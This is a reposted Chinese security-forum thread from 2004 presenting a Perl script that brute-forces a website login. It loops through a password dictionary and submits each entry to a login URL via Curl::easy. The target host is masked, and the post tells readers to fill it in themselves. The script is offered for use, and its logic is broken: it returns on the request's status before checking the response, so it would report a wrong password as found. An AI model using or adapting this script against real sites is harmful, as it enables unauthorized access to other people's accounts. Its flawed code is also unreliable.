‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载]Perl打造溯雪拙劣仿制品

冰血封情

老林

团队决策人

Rank: 9Rank: 9Rank: 9

E.S.T运营责任人

帖子
6819 
精华
834 
积分
36070 
阅读权限
255 
性别
男 
来自
中国 
在线时间
585 小时 
注册时间
2004-6-25 
最后登录
2008-8-28 

优秀管理奖 资料收集奖 原创技术奖 核心建议奖

楼主 大 中 小 发表于 2004-9-16 01:22  只看该作者

[转载]Perl打造溯雪拙劣仿制品

信息来源：RingZ BBS

perl5做的 perl version 5.8.4
复制内容到剪贴板
代码:
use Curl::easy;
$ok=1;
$username="shitusername";
#欲解用户名
open(DICT,"password.txt");
#字典档
while ($passwdtemp=<DICT> and $ok!=0) {
# if ($passwdtemp=<DICT>) {
# die "no password remain";
# $passwdtemp=<DICT>;

chomp($passwdtemp);
print "cracking password is $passwdtemp\n";
if (classme_crack_check($username,$passwdtemp)==0) {
print "finish\npassword is \n$passwdtemp";
$ok=0;
}
else {
$ok=1;
#$ok++;
#print $ok . "\n";
#}
}
}
if ($ok!=0) {
die "no password left!";
} else {
print "\nCongruatulations\n";
}








sub classme_crack_check{
my ($username,$password)=@_;
my $url = "[url]http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default[/url]";
#这个地方暂时隐去，看上面一行应该知道该怎么填



my $curl = Curl::easy->new();
$curl->setopt(CURLOPT_URL, $url);
#my $retcode=$curl->perform();
print $retcode;
sub body_callback {
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}

$curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback);
my @body;
$curl->setopt(CURLOPT_FILE, \@body);
my $retcode=$curl->perform();
if ($retcode!=0) {
return 1;
} else {
return 0;
}
#print $body;
# print join("",@body);
# print "\n\n";
$temp=$body[1];
($e,@body)=@body;
# print "begin\n";
#print $e;

#$e中存放curl的返回值
print "\n\n\n";
if ($e =~ /错误的用户名/ ) {
return 1;
} else {
return 0;
}
}

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题